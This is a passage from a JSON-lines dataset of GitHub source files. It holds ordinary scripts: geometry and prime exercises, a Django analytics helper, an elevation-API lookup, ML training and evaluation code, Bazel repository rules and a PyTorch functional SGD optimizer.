calculadora de hipotenusas de triangulos rectangulos\")\n\ncateto_1 = int(input('\\nInserte la medida del primer cateto: '))\ncateto_2 = int(input('Inserte la medida del segundo cateto: '))\n\nhipotenusa = (math.sqrt((cateto_1 ** 2) + (cateto_2 ** 2))) \narea = ((cateto_1 * cateto_2) / 2)\nperimetro = (cateto_1 + cateto_2 + hipotenusa)\n\nprint(\"\\nLa hipotenusa mide: \", hipotenusa)\nprint(\"El área de este triangulo rectangulo es de: \", area)\nprint(\"El perímetro de este triangulo rectangulo es de: \", perimetro)","repo_name":"hotspotcepeda/PYTHON","sub_path":"curso/curso-py/ejercicios/hipotenusa.py","file_name":"hipotenusa.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70597831912","text":"# -*- coding: utf-8 -*-\n\nfrom engine import component\n\nclass Tilemap(component.Component):\n \"\"\" Tilemap component.\"\"\"\n\n def __init__(self, *args, **kwargs):\n \n super(Tilemap, self).__init__(*kwargs, **kwargs)\n \n self.layers = []\n self.tileset_bin = None\n \n self.tilewidth = 0\n self.tileheight = 0\n \n self.width = 0\n self.height = 0\n \n self.version = \"\"\n ","repo_name":"eeneku/thor","sub_path":"src/components/tilemap.py","file_name":"tilemap.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33400658509","text":"def unique(num):\n\tlst = []\n\tfor i in num:\n\t\tif i not in lst:\n\t\t\tlst.append(i)\n\treturn lst\n\t\ndef isPrime(num):\n\tcount = 0\n\tif num == 1:\n\t\treturn False\n\tprime = True\n\tfor i in range(2,num):\n\t\tif num%i == 0:\t\n\t\t\tprime = False\n\t\t\tbreak\n\treturn prime\n\nlst = [1,2,2,3,4,4,5,6,7,7,8,9,10,11,1,11,12,12,23,45]\n\nlst = unique(lst)\n\nprint(\"Unique numbers of the list are:\",lst)\n\nfor i in lst:\n\tif isPrime(i):\n\t\tprint(i,\" is prime\")\n\telse:\n\t\tprint(i,\"is not prime\")\n","repo_name":"Ahmed-77/SL-LAB","sub_path":"ISL58-SL LAB/PYTHON/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"15932293471","text":"# coding=utf-8\n#!/usr/bin/env python\n\n\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom read_data import read_reviews\n\ncategories = ['neg', 'pos']\nbase_path = '/Users/Neyanbhbin/Documents/code/cs585/project-angelok/aclImdb'\n\ndata, labels = read_reviews(base_path, data_type='train', labels=categories)\ntest_data, test_labels = read_reviews(base_path, data_type='test', labels=categories)\n\ndata_all = data + test_data\n\ndef imdb_vocabulary(remove_stopwords=True, min_df=3, use_idf=1, ngram_range=(1,1)):\n stop_words = 'english' if remove_stopwords else ''\n\n count_vectorizer = TfidfVectorizer(min_df=min_df, use_idf=use_idf,\n ngram_range=ngram_range)\n X = count_vectorizer.fit_transform(data_all)\n print(X.shape)\n vo_list = sorted(count_vectorizer.vocabulary_.keys())\n vo_list = [s for s in vo_list if isinstance(s, str)] \n content = \"\\n\".join(vo_list)\n with open(\"vocabulary.txt\", \"w\") as f:\n f.write(content)\n\nif __name__ == \"__main__\":\n imdb_vocabulary()\n\n","repo_name":"AngeloK/Word-embedding-nn","sub_path":"code/generate_vocabulary.py","file_name":"generate_vocabulary.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37039698668","text":"import re\n\nfrom collections import defaultdict, OrderedDict, Counter, namedtuple\n\nfrom django.contrib.humanize.templatetags.humanize import intcomma\nfrom django.db import models\n\nfrom enum import Enum\n\n\ndef group_by_attribute(rows,\n attribute,\n getter=lambda r: r,\n key_getter=lambda r: r):\n data = defaultdict(list)\n\n for row in rows:\n if type(row) == dict:\n value = key_getter(row[attribute])\n else:\n value = key_getter(getattr(row, attribute))\n\n data[value].append(getter(row))\n\n return data\n\n\ngroup_by_location_city = lambda rows: group_by_attribute(rows, 'location_city')\ngroup_by_location_state = lambda rows: group_by_attribute(\n rows, 'location_state')\ngroup_by_location_country = lambda rows: group_by_attribute(\n rows, 'location_country')\n\nMarker = namedtuple('Marker', ('location', 'value', 'label'))\n\n\ndef group_into_nested_location(events):\n Country = namedtuple('Country', ('country', 'states', 'total_plays'))\n\n def combine_country_and_sum_of_plays(*dcts):\n for i in set(dcts[0]).intersection(*dcts[1:]):\n yield Country(*((i, ) + tuple(d[i] for d in dcts)))\n\n grouped_by_country = group_by_location_country(events)\n grouped_by_geography = {}\n\n country_play_counts = Counter()\n for (country, country_events) in sorted(grouped_by_country.items(),\n key=lambda i: i[0]):\n if country not in grouped_by_geography:\n grouped_by_geography[country] = {}\n\n for (state,\n state_events) in group_by_location_state(country_events).items():\n grouped_by_city = group_by_location_city(state_events)\n country_play_counts[country] += \\\n sum(\n sum(play.get('no_of_plays') for play in plays)\n for (city, plays) in grouped_by_city.items())\n grouped_by_geography[country][state] = grouped_by_city\n\n common_entries = combine_country_and_sum_of_plays(\n grouped_by_geography, dict(**country_play_counts))\n return sorted(list(common_entries),\n key=lambda country: country.total_plays,\n reverse=True)\n\n\ndef get_expression(data_set, field_expression, separator='__'):\n if data_set:\n try:\n return f\"{data_set.get_data_set()}{separator}{field_expression}\"\n except AttributeError:\n return data_set and (f\"{data_set}{separator}{field_expression}\")\n else:\n return field_expression\n\n\nclass BaseEnum(Enum):\n def __str__(self):\n return self.value\n\n def get_label(self):\n return \" \".join([x.capitalize() for x in self.value.split(\"_\")])\n\n def get_value(self):\n return self.value\n\n def get_data_set(cls):\n raise NotImplementedError\n\n @classmethod\n def get_field_name(cls):\n return \"_\"\\\n .join(re.sub('(?!^)([A-Z][a-z]+)', r' \\1', cls.__name__).split())\\\n .lower()\n\n @classmethod\n def get_labels(cls):\n return list(map(lambda p: p.get_label(), cls))\n\n @classmethod\n def get_values(cls):\n return list(map(str, cls))\n\n @classmethod\n def get_all_types(cls):\n return list(cls)\n\n @classmethod\n def get_colours(cls):\n return list(p.get_colour() for p in cls.get_all_types())\n\n @classmethod\n def get_table_columns(cls):\n return [{\n 'id': id,\n 'name': name\n } for (id, name) in zip(cls.get_values(), cls.get_labels())]\n\n @classmethod\n def get_table_row(cls, aggregate_dict):\n return [(item_type.value,\n intcomma(aggregate_dict.get(f\"{item_type.value}_count\")))\n for item_type in cls.get_all_types()]\n\n def get_query(self, *args, **kwargs):\n raise NotImplementedError()\n\n def get_colour(self):\n raise NotImplementedError()\n\n def get_when_expression(self, data_set=None):\n return models.When(self.get_query(data_set=data_set),\n then=models.Value(self.value))\n\n def get_sum_expression(self, data_set=None):\n return {\n f'{self.get_value()}_count':\n models.Sum(\n models.Case(models.When(self.get_query(data_set=data_set),\n then=1),\n default=models.Value('0'),\n output_field=models.IntegerField()))\n }\n\n @classmethod\n def get_sum_group_by_types(cls,\n data_set=None,\n item_types=None,\n *args,\n **kwargs):\n if item_types is None:\n item_types = cls.get_all_types()\n\n d = {'total_count': models.Count('*')}\n for item_type in item_types:\n if data_set is None:\n data_set = item_type.get_data_set()\n d.update(**item_type.get_sum_expression(data_set=data_set))\n\n return d\n\n @classmethod\n def get_group_by_cases(cls,\n data_set=None,\n item_types=None,\n *args,\n **kwargs):\n if item_types is None:\n item_types = cls.get_all_types()\n\n return \\\n models.Case(\n *[item_type.get_when_expression(data_set=data_set) for item_type in item_types],\n output_field=models.CharField())\n","repo_name":"ngx-devman/Voxsnap","sub_path":"apps/analytics/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5541,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"34534014778","text":"from requests import get\nfrom pandas import json_normalize\nimport pandas as pd\nimport numpy as np\n\nimport geotiler\nimport matplotlib.pyplot as plt\nfrom matplotlib.collections import LineCollection\nimport pickle as plk\nimport gpxpy\nimport gpxpy.gpx\n\nfrom shapely.geometry import Point, LineString\nfrom shapely.ops import nearest_points\n\n# get elevation of single point\ndef get_elevation(lat = None, long = None):\n '''\n script for returning elevation in m from lat, long\n '''\n if lat is None or long is None: return None\n \n query = ('https://api.open-elevation.com/api/v1/lookup'\n f'?locations={lat},{long}')\n \n # Request with a timeout for slow responses\n r = get(query, timeout = 20)\n\n # Only get the json response in case of 200 or 201\n if r.status_code == 200 or r.status_code == 201:\n elevation = json_normalize(r.json(), 'results')\n else: \n elevation = None\n return elevation\n\n# get elevation of multiple points\ndef get_elevation_list(points, query_url):\n '''\n script for returning elevation in m from lat, long\n '''\n if points is None: return None\n \n\n query = f'?locations='\n \n # build query\n for p in points[:-1]:\n query += f'{p.x},{p.y}|'\n \n query += f'{points[-1].x},{points[-1].y}'\n \n #print(query)\n \n full_query = (query_url + query)\n \n # Request with a timeout for slow responses\n r = get(full_query, timeout = 20)\n\n # Only get the json response in case of 200 or 201\n if r.status_code == 200 or r.status_code == 201:\n elevation = json_normalize(r.json(), 'results')\n else: \n elevation = None\n return elevation\n\n# small amount of points test\ncenter = (8.915756, 48.448863)\nprint(\"###\")\n#print(get_elevation(center[0], center[1]))\n\npoints = np.array([Point(8.915756, 48.448863), Point(1, 2), Point(2, 3)])\n\n#print(get_elevation_list(points))\n\n\n \n#####\n# get gpx points\ngpx_file = open('Test2.gpx', 'r')\n\ngpx = gpxpy.parse(gpx_file)\n\npoints = list()\nelevations = list()\n\nfor track in gpx.tracks:\n for segment in track.segments:\n for point in segment.points:\n points.append(Point(point.latitude, point.longitude))\n elevations.append(point.elevation)\n\nprint(\"Amount GPX points: {}\".format(len(points)))\n\n#points = np.array([Point(57.688709,11.976404), Point(56,123)])\n\n\nquery_url = 'https://api.opentopodata.org/v1/eudem25m' # max 100\nquery_url2 = 'https://api.open-elevation.com/api/v1/lookup'\n\nelevations2 = get_elevation_list(points, query_url)\nelevations3 = get_elevation_list(points, query_url2)\n\n\nwith pd.option_context('display.max_rows', None, 'display.max_columns', None): # more options can be specified also\n print()\n\nprint(elevations)\nprint(elevations2)\nprint(elevations3)\n\nplt.plot(elevations)\nplt.plot(elevations2['elevation'])\nplt.plot(elevations3['elevation'])\nplt.show()","repo_name":"Gregor-W/Mechatronik-Projekt","sub_path":"TestsBackups/get-first-elevation-data.py","file_name":"get-first-elevation-data.py","file_ext":"py","file_size_in_byte":2901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74695356393","text":"import pandas as pd\nimport numpy as np\nimport os\nimport cv2\nfrom skimage.io import imread,imshow\nfrom skimage.transform import resize\nimport matplotlib.pyplot as plt\nimport keras as K\nimport tensorflow as tf\nfrom PIL import Image, ImageOps\nfrom keras.preprocessing.image import ImageDataGenerator\ntf.random.set_seed(7) # fixes some parameters to start with.\n\ndf=pd.read_csv('../input/chest-xrays-bacterial-viral-pneumonia-normal/labels_train.csv')\ndf.head()\n\nnames=list(df['file_name'])\ny_train=list(df['class_id'])\n\ny_train=np.asarray(y_train)\n\nx_train=np.zeros((len(names),256,256,3),dtype=np.float32)\n\nfor i in range(len(names)):\n img=imread('../input/chest-xrays-bacterial-viral-pneumonia-normal/train_images/train_images/'+str(names[i]))\n img=resize(img,(256,256,3),mode='constant',preserve_range=True)\n x_train[i]=img\n if i%1000==0:\n print('Done')\n\nx_train=x_train/255\n\nx_train.shape\n\ny_train=tf.keras.utils.to_categorical(y_train, num_classes=None, dtype='float32')\n\ny_train\n\nmodel = tf.keras.applications.InceptionResNetV2(\n include_top=False,\n weights=\"imagenet\",\n input_tensor=None,\n input_shape=[256,256,3],\n pooling=None,\n classes=1000,\n classifier_activation=\"softmax\",\n)\n\nx2=tf.keras.layers.Flatten()(model.output)\nx = tf.keras.layers.Dense(3, activation=\"softmax\", name=\"dense_final\")(x2)\nmodel = tf.keras.Model(inputs=model.input, outputs=x)\nmodel.compile(optimizer='adam',loss='categorical_crossentropy',metrics=['accuracy'])\nmodel.summary()\n\nhistory=model.fit(x_train,y_train,batch_size=8,epochs=20,shuffle=True)\n\nxx=model.evaluate(x_train,y_train,verbose=1)\n\n","repo_name":"akshatp9454/pneumonia_detection","sub_path":"pneumonia_detection.py","file_name":"pneumonia_detection.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18375617772","text":"import sys\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom mpl_toolkits import mplot3d\nfrom utility import Parse_vtk_1D\nimport math\n\ntry:\n\titeration = int(sys.argv[1])\nexcept IndexError:\n\titeration = -1\n\nfiname=\"UpperSurf_t0000000\"\nNodesData,DispData=Parse_vtk_1D.main(finame)[0],Parse_vtk_1D.main(finame)[2]\n\nDispData = DispData[DispData[:,0].argsort()]\nNodesData = NodesData[NodesData[:,0].argsort()]\n\n\nDisplacementx = DispData[:,0]\nDisplacementy = DispData[:,1]\nLocx = NodesData[:,0]\nDisp_Results_base=np.zeros((len(DispData[:,0]),3))\nDisp_Results_base[:,0]=Locx \nDisp_Results_base[:,1]=Displacementx \nDisp_Results_base[:,2]=Displacementy\n\n\nnp.savetxt('Displacement_Profile.txt', Disp_Results_base)\n\nstrain=np.zeros(len(Locx))\nLocation=np.zeros(len(Locx))\nfor i in range(len(Locx)-1):\n\tstrain[i]=(Disp_Results_base[i+1,1]-Disp_Results_base[i,1])/(Disp_Results_base[i+1,0]-Disp_Results_base[i,0])\n\nfor i in range(len(Locx)-1):\n\tLocation[i]=(Disp_Results_base[i+1,0]-Disp_Results_base[i,0])/2+Disp_Results_base[i,0]\n\n\nsave_strain = np.zeros((len(strain),2))\nsave_strain[:,0] = Locx\nsave_strain[:,1] = strain\n\nnp.savetxt('Strain_Profile.txt', save_strain)\n\nif iteration > 0:\n\tunperturbed = np.loadtxt('GreenFunc/x_strain_unperturbed.txt')\nelif iteration <= 0:\n\tunperturbed = np.loadtxt('GreenFunc/Uniform_Strain_Profile.txt')\n\ndiff_strain = [strain[i] - unperturbed[:,1][i] for i in range(len(unperturbed))]\n\n# diff_strain = np.zeros(len(unperturbed))\n# for i in range(len(diff_strain)):\n# \tdiff_strain[i] = strain[i] - unperturbed[i]\n\n\nsave_diff_strain = np.zeros((len(diff_strain),2))\n# save_diff_strain[:,0] = Locx\n# save_diff_strain[:,1] = diff_strain\n\nfor i in range(len(save_diff_strain)):\n\tsave_diff_strain[i][0] = Locx[i]\n\tsave_diff_strain[i][1] = diff_strain[i]\n\nnp.savetxt('Diff_Strain_Profile.txt', save_diff_strain)\n\n# thickness = np.loadtxt('')\n\n\n\n\n\n\n\n","repo_name":"rltam/2D-Layer","sub_path":"Save_Data.py","file_name":"Save_Data.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19047450655","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch import Tensor\nfrom torch.nn.parameter import Parameter\nfrom typing import Tuple, get_type_hints\nfrom .initialization import linear_init, gru_init\nfrom .autoencoder import AutoEncoder\n\n\nclass SlotAttention(nn.Module):\n def __init__(self, input_size: int, n_slots: int = 4, slot_size: int = 64,\n n_iter: int = 3, slot_channels=1, hidden_size: int = 128,\n approx_implicit_grad: bool = True, epsilon: float = 1e-8):\n super().__init__()\n\n assert n_slots > 1, \"Must have at least two slots\"\n assert n_iter > 0, \"Need at least one slot update iteration\"\n assert (slot_size % slot_channels) == 0\n\n self.n_slots = n_slots\n self.slot_size = slot_size\n self.n_iter = n_iter\n self.nhead = slot_channels\n self.EPS = epsilon\n self.approx_implicit_grad = approx_implicit_grad\n\n # slot init\n self.slot_mu = Parameter(torch.empty(1, 1, slot_size))\n self.slot_logvar = Parameter(torch.empty(1, 1, slot_size))\n\n # attention projections\n self.k_proj = nn.Linear(input_size, slot_size, bias=False)\n self.v_proj = nn.Linear(input_size, slot_size, bias=False)\n self.q_proj = nn.Linear(slot_size, slot_size, bias=False)\n\n # normalisation layers\n self.norm_input = nn.LayerNorm(input_size)\n self.norm_slot = nn.LayerNorm(slot_size)\n self.norm_res = nn.LayerNorm(slot_size)\n\n # update\n self.gru = nn.GRUCell(slot_size, slot_size)\n self.mlp = nn.Sequential(nn.Linear(slot_size, hidden_size, bias=False),\n nn.ReLU(),\n nn.Linear(hidden_size, slot_size))\n\n self.reset_parameters()\n\n @property\n def size(self):\n return self.n_slots * self.slot_size\n\n @property\n def hidden_size(self):\n return self.res_mlp[0].out_features\n\n @property\n def shape(self):\n return self.n_slots, self.slot_size\n\n def reset_parameters(self):\n nn.init.xavier_uniform_(self.slot_mu)\n nn.init.xavier_uniform_(self.slot_logvar)\n\n linear_init(self.k_proj, activation='relu')\n linear_init(self.v_proj, activation='relu')\n linear_init(self.q_proj, activation='relu')\n\n for m in self.mlp.children():\n if isinstance(m, nn.Linear):\n linear_init(m, activation='relu')\n\n gru_init(self.gru)\n\n def forward(self, inputs: Tensor) -> Tuple[Tensor, Tensor]:\n slots = self.init_slots(inputs) # batch_size, n_slots, slot_size\n inputs = self.norm_input(inputs) # batch_size, n_inputs, input_size\n\n # shape (batch_size, n_heads, n_inputs, slot_size // nheads)\n k = self.split_heads(self.k_proj(inputs))\n v = self.split_heads(self.v_proj(inputs))\n\n k = k / ((self.slot_size / self.nhead) ** 0.5)\n\n for _ in range(self.n_iter):\n slots, atten_masks = self.step(slots, k, v)\n\n # First-order Neumann approximation to implicit gradient (Chang et al)\n if self.approx_implicit_grad:\n slots, atten_masks = self.step(slots.detach(), k, v)\n\n # slots are in the correct shape\n return slots, atten_masks.sum(dim=1) # add weights from attention heads\n\n def split_heads(self, input):\n # input size: B, n_in, slot_size/input_size\n split_size = input.shape[-1] // self.nhead\n return input.unflatten(-1, (self.nhead, split_size)).transpose(1, 2)\n\n def join_heads(self, input):\n # input size: B, n_head, n_in, slot_size/input_size // n_head\n return input.transpose(1, 2).flatten(start_dim=2)\n\n def init_slots(self, inputs):\n std = self.slot_logvar.mul(0.5).exp()\n std = std.expand(len(inputs), self.n_slots, -1)\n eps = torch.randn_like(std)\n return self.slot_mu.addcmul(std, eps)\n\n def step(self, slots, k, v):\n q = self.q_proj(self.norm_slot(slots))\n\n # atten_maps: (batch_sizs, n_slots, slot_size)\n # atten_weights: (batch_size, n_heads, n_slots, slot_size // n_heads)\n atten_maps, atten_weights = self.compute_attention_maps(k, q, v)\n\n slots = self.update_slots(atten_maps, slots)\n\n return slots, atten_weights\n\n def compute_attention_maps(self, k, q, v):\n q = self.split_heads(q)\n\n # slots compete for input patches\n weights = k.matmul(q.transpose(2, 3)) # n_inputs, n_slots\n weights = F.softmax(self.join_heads(weights), dim=-1)\n\n # weighted mean over n_inputs\n weights = self.split_heads(weights) + self.EPS\n weights = weights / weights.sum(dim=-2, keepdim=True)\n\n atten_maps = self.join_heads(weights.transpose(2, 3).matmul(v))\n\n return atten_maps, weights\n\n def update_slots(self, atten_maps, slots):\n B = len(slots)\n\n # batchify update\n atten_maps = atten_maps.flatten(end_dim=1)\n slots = slots.flatten(end_dim=1)\n\n # update slots\n slots = self.gru(atten_maps, slots)\n slots = slots + self.mlp(self.norm_res(slots))\n\n return slots.unflatten(0, (B, self.n_slots))\n\n def __repr__(self):\n return 'SlotAttention(n_slots={}, slot_size={}, n_iter={})'.format(\n self.n_slots, self.slot_size, self.n_iter)\n\n\nclass SlotDecoder(nn.Sequential):\n def _pass_slot_only(self):\n types = get_type_hints(self[0].forward)\n return types['inputs'] == torch.Tensor\n\n def decode_slots(self, inputs):\n slots, atten_weights = inputs\n batch_size, n_slots = slots.size()[:2]\n\n # batchify reconstruction\n slots = slots.flatten(end_dim=1)\n atten_weights = atten_weights.flatten(end_dim=1)\n\n if self._pass_slot_only(): # pass attention weights to decoder\n rgba = super().forward(slots)\n else:\n rgba = super().forward((slots, atten_weights))\n\n # shape: (batch_size, n_slots, n_channels + 1, height, width)\n rgba = rgba.unflatten(0, (batch_size, n_slots))\n\n slot_recons, slot_masks = torch.tensor_split(rgba, indices=[3], dim=2)\n slot_masks = F.softmax(slot_masks, dim=1) # masks are logits\n\n return slot_recons, slot_masks\n\n def forward(self, inputs: Tuple[Tensor, Tensor]) -> Tensor:\n slot_recons, slot_masks = self.decode_slots(inputs)\n return (slot_masks * slot_recons).sum(dim=1)\n","repo_name":"miltonllera/pytorch-object-centric","sub_path":"src/models/slotattn.py","file_name":"slotattn.py","file_ext":"py","file_size_in_byte":6441,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"36485555882","text":"load(\"@bazel_tools//tools/build_defs/repo:http.bzl\", \"http_archive\")\n\ndef bazel_sonarqube_repositories(\n bazel_version_repository_name = \"bazel_version\",\n sonar_scanner_cli_version = \"3.3.0.1492\",\n sonar_scanner_cli_sha256 = \"0fabd3fa2e10bbfc5cdf64765ff35e88e7937e48aad51d84401b9f36dbde3678\",\n bazel_skylib_version = \"1.0.3\",\n bazel_skylib_sha256 = \"1c531376ac7e5a180e0237938a2536de0c54d93f5c278634818e0efc952dd56c\"):\n http_archive(\n name = \"org_sonarsource_scanner_cli_sonar_scanner_cli\",\n build_file = \"@bazel_sonarqube//:BUILD.sonar_scanner\",\n sha256 = sonar_scanner_cli_sha256,\n strip_prefix = \"sonar-scanner-\" + sonar_scanner_cli_version,\n urls = [\n \"https://repo1.maven.org/maven2/org/sonarsource/scanner/cli/sonar-scanner-cli/%s/sonar-scanner-cli-%s.zip\" % (sonar_scanner_cli_version, sonar_scanner_cli_version),\n \"https://jcenter.bintray.com/org/sonarsource/scanner/cli/sonar-scanner-cli/%s/sonar-scanner-cli-%s.zip\" % (sonar_scanner_cli_version, sonar_scanner_cli_version),\n ],\n )\n\n if not native.existing_rule(\"bazel_skylib\"):\n http_archive(\n name = \"bazel_skylib\",\n urls = [\n \"https://mirror.bazel.build/github.com/bazelbuild/bazel-skylib/releases/download/%s/bazel-skylib-%s.tar.gz\" % (bazel_skylib_version, bazel_skylib_version),\n \"https://github.com/bazelbuild/bazel-skylib/releases/download/%s/bazel-skylib-%s.tar.gz\" % (bazel_skylib_version, bazel_skylib_version),\n ],\n sha256 = bazel_skylib_sha256,\n )\n\n bazel_version_repository(name = bazel_version_repository_name)\n\n# A hacky way to work around the fact that native.bazel_version is only\n# available from WORKSPACE macros, not BUILD.bazel macros or rules.\n#\n# Hopefully we can remove this if/when this is fixed:\n# https://github.com/bazelbuild/bazel/issues/8305\ndef _bazel_version_repository_impl(repository_ctx):\n s = \"bazel_version = \\\"\" + native.bazel_version + \"\\\"\"\n repository_ctx.file(\"bazel_version.bzl\", s)\n repository_ctx.file(\"BUILD.bazel\", \"\"\"\nload(\"@bazel_skylib//:bzl_library.bzl\", \"bzl_library\")\n\nbzl_library(\n name = \"bazel_version\",\n srcs = [\"bazel_version.bzl\"],\n visibility = [\"//visibility:public\"],\n)\n\"\"\")\n\nbazel_version_repository = repository_rule(\n implementation = _bazel_version_repository_impl,\n local = True,\n)\n","repo_name":"Zetten/bazel-sonarqube","sub_path":"repositories.bzl","file_name":"repositories.bzl","file_ext":"bzl","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"72"} +{"seq_id":"449770000","text":"#!/usr/bin/env python\nimport glob\nimport sys\nimport numpy\nfrom scipy.ndimage import imread\n\nYOUTUBE_PATH = \"/data/corpora/youtube-objects/youtube_masks/\"\nFORWARDED_PATH = \"/home/voigtlaender/vision/savitar/forwarded/\"\n\n\ndef compute_iou_for_binary_segmentation(y_argmax, target):\n I = numpy.logical_and(y_argmax == 1, target == 1).sum()\n U = numpy.logical_or(y_argmax == 1, target == 1).sum()\n if U == 0:\n IOU = 1.0\n else:\n IOU = float(I) / U\n return IOU\n\n\ndef eval_sequence(gt_folder, recog_folder):\n seq = gt_folder.split(\"/\")[-7] + \"_\" + gt_folder.split(\"/\")[-5]\n gt_files = sorted(glob.glob(gt_folder + \"/*.jpg\"))\n\n #checks\n #if not gt_files[0].endswith(\"00001.jpg\"):\n # print \"does not start with 00001.jpg!\", gt_files[0]\n #indices = [int(f.split(\"/\")[-1][:-4]) for f in gt_files]\n #if not (numpy.diff(indices) == 10).all():\n # print \"no spacing of 10:\", gt_files\n\n gt_files = gt_files[1:]\n recog_folder_seq = recog_folder + seq + \"/\"\n print(recog_folder_seq, end=' ')\n recog_files = [gt_file.replace(gt_folder, recog_folder_seq).replace(\".jpg\", \".png\") for gt_file in gt_files]\n\n ious = []\n for gt_file, recog_file in zip(gt_files, recog_files):\n gt = imread(gt_file) / 255\n recog = imread(recog_file) / 255\n iou = compute_iou_for_binary_segmentation(recog, gt)\n ious.append(iou)\n return numpy.mean(ious)\n\n\ndef main():\n assert len(sys.argv) == 2\n\n pattern = YOUTUBE_PATH + \"*/data/*/*/*/labels/\"\n folders = glob.glob(pattern)\n\n # filter out the 2 sequences, which only have a single annotated frame\n folders = [f for f in folders if \"motorbike/data/0007/shots/001\" not in f and \"cow/data/0019/shots/001\" not in f]\n \n ious = {}\n for folder in folders:\n tag = folder.split(\"/\")[-7]\n recog_folder = FORWARDED_PATH + sys.argv[1] + \"/valid/\"\n iou = eval_sequence(folder, recog_folder)\n print(iou)\n if tag in ious:\n ious[tag].append(iou)\n else:\n ious[tag] = [iou]\n\n class_ious = []\n for k, v in list(ious.items()):\n print(k, numpy.mean(v))\n class_ious.append(numpy.mean(v))\n print(\"-----\")\n print(\"total\", len(class_ious), numpy.mean(class_ious))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"JonathonLuiten/PReMVOS","sub_path":"code/ReID_net/scripts/eval/eval_youtube_nonfull.py","file_name":"eval_youtube_nonfull.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","stars":127,"dataset":"github-code","pt":"72"} +{"seq_id":"14831863069","text":"from typing import Dict, List, Optional\n\nimport torch\nimport torch.optim._functional as F\n\nfrom torch import Tensor\n\n__all__: List[str] = []\n\n# Define a TorchScript compatible Functional SGD Optimizer\n# where we use these optimizer in a functional way.\n# Instead of using the `param.grad` when updating parameters,\n# we explicitly allow the distributed optimizer pass gradients to\n# the `step` function. In this way, we could separate the gradients\n# and parameters and allow multithreaded trainer to update the\n# parameters without data traces on accumulating to the same .grad.\n# NOTE: This should be only used by distributed optimizer internals\n# and not meant to expose to the user.\n@torch.jit.script\nclass _FunctionalSGD:\n def __init__(\n self,\n params: List[Tensor],\n lr: float = 1e-2,\n momentum: float = 0.0,\n dampening: float = 0.0,\n weight_decay: float = 0.0,\n nesterov: bool = False,\n maximize: bool = False,\n foreach: bool = False,\n _allow_empty_param_list: bool = False,\n ):\n self.defaults = {\n \"lr\": lr,\n \"momentum\": momentum,\n \"dampening\": dampening,\n \"weight_decay\": weight_decay,\n }\n self.nesterov = nesterov\n self.maximize = maximize\n self.foreach = foreach\n self.state = torch.jit.annotate(Dict[torch.Tensor, Dict[str, torch.Tensor]], {})\n\n if len(params) == 0 and not _allow_empty_param_list:\n raise ValueError(\"optimizer got an empty parameter list\")\n\n # NOTE: we only have one param_group and don't allow user to add additional\n # param group as it's not a common use case.\n self.param_group = {\"params\": params}\n\n def step_param(self, param: Tensor, grad: Optional[Tensor]):\n \"\"\"Similar to self.step, but operates on a single parameter and\n its gradient.\n \"\"\"\n # TODO: Once step_param interface is robust, refactor step to call\n # step param on each param.\n weight_decay = self.defaults[\"weight_decay\"]\n momentum = self.defaults[\"momentum\"]\n dampening = self.defaults[\"dampening\"]\n lr = self.defaults[\"lr\"]\n params = [param]\n momentum_buffer_list: List[Optional[Tensor]] = []\n grads = []\n\n has_sparse_grad = False\n if grad is not None:\n grads.append(grad)\n if grad.is_sparse:\n has_sparse_grad = True\n if param not in self.state:\n self.state[param] = {}\n state = self.state[param]\n if \"momentum_buffer\" not in state:\n momentum_buffer_list.append(None)\n else:\n momentum_buffer_list.append(state[\"momentum_buffer\"])\n\n with torch.no_grad():\n F.sgd(\n params,\n grads,\n momentum_buffer_list,\n weight_decay=weight_decay,\n momentum=momentum,\n lr=lr,\n dampening=dampening,\n nesterov=self.nesterov,\n maximize=self.maximize,\n has_sparse_grad=has_sparse_grad,\n foreach=self.foreach,\n )\n # update momentum_buffer in state\n state = self.state[param]\n momentum_buffer = momentum_buffer_list[0]\n if momentum_buffer is not None:\n state[\"momentum_buffer\"] = momentum_buffer\n\n def step(self, gradients: List[Optional[Tensor]]):\n params = self.param_group[\"params\"]\n params_with_grad = []\n grads = []\n momentum_buffer_list: List[Optional[Tensor]] = []\n lr = self.defaults[\"lr\"]\n weight_decay = self.defaults[\"weight_decay\"]\n momentum = self.defaults[\"momentum\"]\n dampening = self.defaults[\"dampening\"]\n\n if len(params) != len(gradients):\n raise ValueError(\n \"the gradients passed in does not equal to the size of the parameters!\"\n + f\"Params length: {len(params)}. \"\n + f\"Gradients length: {len(gradients)}\"\n )\n\n has_sparse_grad = False\n for param, gradient in zip(params, gradients):\n if gradient is not None:\n params_with_grad.append(param)\n grads.append(gradient)\n if gradient.is_sparse:\n has_sparse_grad = True\n\n if param not in self.state:\n self.state[param] = {}\n\n state = self.state[param]\n if \"momentum_buffer\" not in state:\n momentum_buffer_list.append(None)\n else:\n momentum_buffer_list.append(state[\"momentum_buffer\"])\n\n with torch.no_grad():\n F.sgd(\n params_with_grad,\n grads,\n momentum_buffer_list,\n weight_decay=weight_decay,\n momentum=momentum,\n 